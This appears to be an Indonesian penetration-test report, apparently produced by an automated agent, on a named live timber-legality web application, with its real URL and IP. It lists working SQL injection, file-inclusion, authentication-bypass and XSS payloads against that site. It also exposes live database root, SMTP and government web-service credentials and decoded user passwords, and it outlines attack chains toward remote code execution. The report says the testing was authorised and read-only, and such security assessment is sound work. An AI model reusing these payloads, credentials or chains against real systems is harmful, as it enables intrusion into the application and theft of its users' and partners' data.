Penilaian keamanan pada aplikasi web Sistem Informasi Legalitas Kayu (SILK-SICS) PT. Sucofindo menemukan 17 kerentanan, dengan dampak paling parah adalah SQL Injection (root database), 1.325 akun pengguna beserta password bocor, kredensial database/SMTP/WS pemerintah yang terekspos, serta 108 halaman admin yang dapat diakses tanpa autentikasi.
Seluruh pengujian dilakukan tanpa autentikasi sesuai ruang lingkup. RCE tidak tercapai karena hardening server (secure_file_priv, PHP-FPM, versi ter-patch), namun beberapa rantai serangan menuju RCE tetap terbuka secara praktis (lihat Bab 4). Tidak ada data yang dirusak dan tidak ada file yang tertinggal di server.
| Item | Nilai |
|---|---|
| URL | https://silk.sucofindo.co.id |
| IP | 35.219.52.208 (GCP) |
| Port Terbuka | 80, 443 (scan mencakup 40+ port umum) |
| Web Server | nginx/1.23.4 |
| Runtime | PHP 5.6.40 (FPM) β EOL |
| Database | MySQL 5.7.44 (container Docker b656734da0ec) |
| Tool DB Admin | Adminer 4.8.1 (terekspos) |
| Webroot | /var/www/html/svlk/ |
.git/ exposureKonteks risiko: aplikasi mengelola proses V-Legal / SVLK β sertifikasi legalitas kayu untuk ekspor (kepatuhan FLEGT/EUDR). Integritas data dan kerahasiaan kredensial di sini bernilai sangat tinggi.
| # | Severity | Temuan | Vektor | Ref |
|---|---|---|---|---|
| 01 | CRITICAL | SQL Injection UNION-based | lookup/HSLOV.php (POST) | Detail |
| 02 | CRITICAL | SQL Injection blind time-based | lookup/showOutstanding.php (GET) | Detail |
| 03 | CRITICAL | IDOR β 1.325 akun + password bocor | pPage=userList | Detail |
| 04 | CRITICAL | 108 halaman admin tanpa autentikasi | pPage=* | Detail |
| 05 | CRITICAL | Adminer 4.8.1 terekspos + kredensial DB | /adminer.php | Detail |
| 06 | CRITICAL | Kredensial sensitif di source code | source disclosure | Detail |
| 07 | CRITICAL | .git/ + 23 file source bocor | direktori publik | Detail |
| 08 | CRITICAL | Password lemah & monokultur (bukan hash) | database | Detail |
| 09 | HIGH | Local File Inclusion | pPage traversal | Detail |
| 10 | HIGH | Reflected XSS | mobileTrial.php, HSLOV.php | Detail |
| 11 | HIGH | Kebocoran 4.354 data perusahaan + jadwal audit | mPublikasiRencanaAuditList | Detail |
| 12 | HIGH | Dokumen internal dapat diunduh siapa pun | tDownloadDokumenList + /files/* | Detail |
| 13 | MEDIUM | Kebocoran error_log 100 MB (Range header) | report/error_log | Detail |
| 14 | LOW | php_fast_cache SQLite bocor (GeoIP 2015) | pdo.caching | Detail |
| 15 | MEDIUM | EOL & misconfiguration (PHP 5.6, display_errors, CAPTCHA) | berbagai | Detail |
| 16 | HIGH | Fitur upload tanpa kontrol akses (rantai RCE) | tUploadRekapitulasi dkk | Detail |
| 17 | INFO | Hardening: RCE tidak tercapai (positif) | 12 vektor diuji | Detail |
pFilter pada lookup/HSLOV.php (POST) digabung langsung
ke query: SELECT ... FROM msths WHERE kode_hs LIKE '%{pFilter}%'.
Konfirmasi UNION-based: query 4 kolom, eksekusi sebagai root@172.18.0.3
(MySQL 5.7.44 di Docker), akses penuh ke seluruh database.
POST /lookup/HSLOV.php pFilter=48' UNION SELECT @@version,2,3,4-- - pFilter=48' UNION SELECT @@version,@@datadir,current_user(),@@hostname-- - β MySQL 5.7.44 | root@172.18.0.3 pFilter=48' UNION SELECT schema_name,2,3,4 FROM information_schema.schemata-- - pFilter=48' UNION SELECT table_name,2,3,4 FROM information_schema.tables WHERE table_schema='prod_dbvlegal'-- - pFilter=48' UNION SELECT GROUP_CONCAT(userID),2,3,4 FROM admuser-- -
pAreaKerja pada lookup/showOutstanding.php (GET)
rentan blind injection. Kutip tunggal merusak query dan fungsi SLEEP()
benar-benar dieksekusi server.
SLEEP dijalankan per-baris queryGET /lookup/showOutstanding.php?pAreaKerja=1' AND SLEEP(3) AND '1'='1 β waktu respons 20+ detik (baseline 0.17 detik) GET /lookup/showOutstanding.php?pAreaKerja=1' AND BENCHMARK(3000000,SHA1(1)) AND '1'='1 β 2.12 detik (konfirmasi eksekusi)
intval() minimal).
Middleware WAF (ModSecurity) untuk deteksi berbasis waktu.
userList dapat dipanggil langsung tanpa sesi:
semua user (username, deskripsi, password base64, grup, email) dirender penuh.
GET /index.php?pPage=dXNlckxpc3Q,, (base64 dari "userList", '=' β ',') GET /SILK_LAMA/?pPage=dXNlckxpc3Q= Respons: 1.250.412 byte β 1.325 user : password (encoded). Contoh terverifikasi: administrator / backspace Β· user-admin / jkt2024 Β· su-hendy / biji
userForm: membuat/mengubah user admin (potensi akun Super User baru)pBroadcastEmailMessage: email massal ke seluruh pengguna β vektor phishing internal/index.php?pPage=dXNlckZvcm0s, β userForm (13.329b) /index.php?pPage=cEJyb2FkY2FzdEVtYWlsTWVzc2FnZQ,,, β pBroadcastEmailMessage (166.013b) /index.php?pPage=dE1vaG9uRm9ybQ,, β tMohonForm (56.604b) /index.php?pPage=bVB1Ymxpa2FzaVJlbmNhbkF1ZGl0TGlzdA,, β mPublikasiRencanaAuditList (18.916b)
sInfoLogin=="".
/adminer.php menampilkan alat manajemen database Adminer 4.8.1.
Digabung dengan kredensial root DB yang bocor (F06), penyerang dapat membuka
antarmuka SQL penuh terhadap database produksi.
GET /adminer.php β halaman login Adminer 4.8.1 (terekspos publik) Kredensial (dari source, F06): server=mysql_app user=root pass=adm@DB#silk25 db=prod_dbvlegal [Login tidak dicoba selama pengujian β sesuai aturan ruang lingkup]
include/cnFile.php dan
include/xFile.php (versi 2018β2023).
MySQL : mysql_app / root / adm@DB#silk25 / prod_dbvlegal (aktif β dikonfirmasi via SQLi) SMTP : 172.16.100.245:587 TLS / admin-silk / adm@SILK#2019 (aktif di fAutoEmail) WS LIU : liu.dephut.go.id + silk.menlhk.go.id / SucofindoICS / sics2012 Komentar lama: fernando/fernando Β· admin/adm@silk#sucofindo
.git/ dapat dibaca (config, index berisi 1.165 path).
Karena nginx menyajikan file ber-ekstensi non-.php secara statis,
23 file source asli (1,9 MB, 14 versi xFile.php) dapat diunduh.
GET /.git/config β origin gitlab.com/repository/app.git (private, rahasia bocor) GET /.git/index β 1.165 path proyek GET /include/xFile.php-2021-03-18 β full source (β ekstensi ekstra disajikan statis) (+23 file lain di ~/.hackbot/exploits/silk-source-backup/)
.git/ dari webroot; blokir ekstensi sumber (.php-*,
~, .default) di nginx; gitignore rahasia + secret scan.
fEnc()
(base64 dengan '=' β ','), bukan hash. Banyak akun berbagi password default biji.
biji) membuka banyak akun sekaligususer password (decode) group administrator backspace G001 user-admin jkt2024 G010 (Super User) su-hendy biji G010 (Super User) test biji G010 (Super User) testing biji G001
indexa.php mengeksekusi include("page/".$pPage.".php")
dengan nilai pPage dari input pengguna (di-encode base64). Traversal
../ berfungsi.
pPage=Li4vaW5kZXhh (base64 ../indexa) β include & eksekusi indexa.php tanpa sesi Bukti: 6 MB respons, rekursi 14,5 MB (2.141 blok DOCTYPE) β konfirmasi eksekusi PHP
pPage; jangan bangun path dari input; gunakan router
tabel statis. Batasi include ke direktori page/ yang sah.
lookup/mobileTrial.php (pField01βpField06)
dan lookup/HSLOV.php (pFilter) direfleksikan tanpa escaping
dalam atribut value.
GET /lookup/mobileTrial.php?pField01=' autofocus onfocus=alert(document.cookie) ' β mengeksekusi otomatis saat halaman dimuat (attribute breakout tervalidasi: value='1' onmouseover='alert(1)' Β· value=''><svg onload=alert(1)>' )
mPublikasiRencanaAuditList merender daftar lengkap perusahaan pemegang
izin beserta alamat, lingkup audit, jadwal, dan status β tanpa autentikasi.
POST /index.php?pPage=mPublikasiRencanaAuditList β "Jumlah Record: 1-10 dari 4354"
Baris contoh: CV ABOVEE ABADI | alamat lengkap | PBUI | Sertifikasi 2026-07-15 s/d 17 | LULUS
PT. MITRA KARYAUSAHA SEJAHTERA | IUI-SEKUNDER | 2016-08-15
tDownloadDokumenList menampilkan daftar dokumen internal dengan tautan
langsung di /files/* yang dapat diunduh tanpa autentikasi.
GET /files/BA_KIRIM_BLANKO_CABANG_587.%20VLEGAL587.BA-VI.JKT.2026%20(PT%20Hyun%20Jin%20...)_OK.pdf
β 200, 338.061 b, application/pdf (terverifikasi terunduh tanpa login)
Pattern upload: {source}_{nama asli} Β· whitelist 9 ekstensi (hanya cek string ekstensi)
report/error_log (100 MB) dapat diakses publik; nginx mendukung
header Range sehingga sembarang irisan file dapat dibaca.
GET /report/error_log Range: bytes=-300 (dibaca irisan tail) β HTTP 206, isi log 2015β2019 (mengungkap host lama /home/prod/public_html/ β OpenVZ prod.silk-sucofindo.biz)
include/cache.storage/pdo.caching adalah database SQLite (41 KB) yang
dapat diunduh utuh β berisi 47 entry GeoIP visitor (April 2015) dan informasi konfigurasi sistem.
GET /include/cache.storage/pdo.caching β SQLite 3.x, 47 baris objects Contoh: 202.62.16.169 β Indonesia, Jakarta Raya (14 Apr 2015) + config.*.cache.ini β info sistem (kernel Linux prod.silk-sucofindo.biz 2.6.32-042stab ... 2015)
cache.storage; upgrade library cache.
display_errors=On β kebocoran path & internal errorcap1==cap2) β dapat dibypass otomatissInfoLogin=="" tanpa role) β akar F03/F04pPJTNotes (UPDATE), arbitrary file delete unlink()curl -sk -o /dev/null -w "%{header_server}" https://silk.sucofindo.co.id/ β nginx/1.23.4
X-Powered-By: PHP/5.6.40
(Error pages menampilkan path absolut β display_errors ON)
tUploadRekapitulasi (4 input file) dan
forumContent merender tanpa autentikasi; whitelist ekstensi pada
tUploadRekapitulasi belum dapat diverifikasi dari source.
tUploadRekapitulasi, upload .php
menghasilkan RCE langsung (naik ke CRITICAL). Ini rantai paling praktis
menuju eksekusi kode (gabungan F01/F08: kredensial admin + upload).
GET /index.php?pPage=dFVwbG9hZFJla2FwaXR1bGFzaQ,, β form multipart: pFileRekapLMK Β· pFileRekapSKSHH Β· pFileRekapPEB Β· pFileRekapLAINNYA + pUpload GET /index.php?pPage=Zm9ydW1Db250ZW50 β form multipart (pSimpan)
SQLiβOUTFILE : semua path ditolak (secure_file_priv=/var/lib/mysql-files/) SQLiβLOAD_FILE : NULL di semua path Stacked/SET : mysqli_query single-statement CVE-2019-11043 : patched di PHP 5.6.40 Port scan : hanya 80/443 terbuka
Meski RCE langsung tidak tercapai, tiga rantai serangan menuju eksekusi kode tetap terbuka secara praktis:
| # | Rantai | Status |
|---|---|---|
| A | SQLi (F01) β baca password admin (F08: user-admin, su-hendy) β login Super User β upload .php via tUploadRekapitulasi (F16) β RCE | Siap diuji |
| B | SQLi β UPDATE admuser reset password admin β login β upload β RCE | Siap diuji |
| C | Adminer (F05 + F06) β login β multi_query β general log poisoning β webshell di webroot β RCE(2 syarat: multi_query support + user mysql bisa menulis webroot β perlu validasi live) | Kondisional |
| D | XSS (F10) β phishing admin β sesi β upload β RCE | Butuh interaksi |
.git/ + file source dari webroot| Artefak | Lokasi |
|---|---|
| Laporan Markdown | ~/.hackbot/reports/PENTEST_silk.sucofindo.co.id.md |
| Master list temuan | ~/.hackbot/reports/silk-findings-master.txt |
| Evidence (probe matrix, git index, dll) | ~/.hackbot/reports/silk-evidence/ |
| 23 file source code | ~/.hackbot/exploits/silk-source-backup/ |
| Payload polyglot | ~/.hackbot/exploits/silk-polyglot/ |
Seluruh pengujian bersifat read-only atau memakai data dummy, tanpa mengubah data produksi, tanpa menulis file di server (OUTFILE diverifikasi gagal), dan tanpa login. Kredensial yang diekstraksi hanya untuk verifikasi dampak dan tercakup dalam lingkup pengujian yang disetujui. Dokumen ini mengandung rahasia (kredensial) β simpan aman.